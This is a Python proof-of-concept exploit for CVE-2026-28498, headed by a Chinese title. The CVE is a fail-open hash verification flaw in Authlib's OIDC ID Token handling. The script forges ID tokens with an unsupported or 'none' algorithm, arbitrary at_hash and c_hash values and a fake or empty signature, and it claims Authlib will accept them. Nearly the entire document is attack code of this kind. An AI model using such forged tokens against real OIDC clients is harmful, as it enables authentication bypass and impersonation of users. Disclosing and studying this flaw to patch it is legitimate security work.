CVE-2026-28498 Authlib OIDC ID Token哈希验证绕过漏洞

#!/usr/bin/env python3 """ CVE-2026-28498 Proof of Concept Authlib OIDC ID Token Hash Verification Bypass This PoC demonstrates the fail-open behavior in Authlib's _verify_hash function. """ import json import base64 import time def create_fake_id_token(payload, alg='none'): """ Create a fake ID Token with unsupported alg to bypass hash verification. """ # Token structure: header.payload.signature header = { 'alg': alg, # Use unsupported algorithm 'typ': 'JWT' } # Add hash claims that won't be properly verified payload['at_hash'] = 'fake-access-token-hash' payload['c_hash'] = 'fake-auth-code-hash' # Base64url encode header_b64 = base64.urlsafe_b64encode( json.dumps(header).encode() ).rstrip(b'=').decode() payload_b64 = base64.urlsafe_b64encode( json.dumps(payload).encode() ).rstrip(b'=').decode() # Use empty signature for 'none' algorithm sig_b64 = '' if alg == 'none' else 'fake-signature' return f"{header_b64}.{payload_b64}.{sig_b64}" def exploit(): """ Demonstrate the vulnerability. """ # Standard valid payload structure payload = { 'iss': 'https://auth.example.com', 'sub': 'user123', 'aud': 'client-id-12345', 'exp': int(time.time()) + 3600, 'iat': int(time.time()) } # Create token with unsupported alg fake_token = create_fake_id_token(payload, alg='UNSUPPORTED_ALG') print(f"[+] Created fake ID Token: {fake_token[:50]}...") print(f"[+] Token contains unsupported alg: UNSUPPORTED_ALG") print(f"[+] at_hash and c_hash contain arbitrary values") print("[+] Authlib will fail-open and accept this token!") return fake_token if __name__ == '__main__': exploit()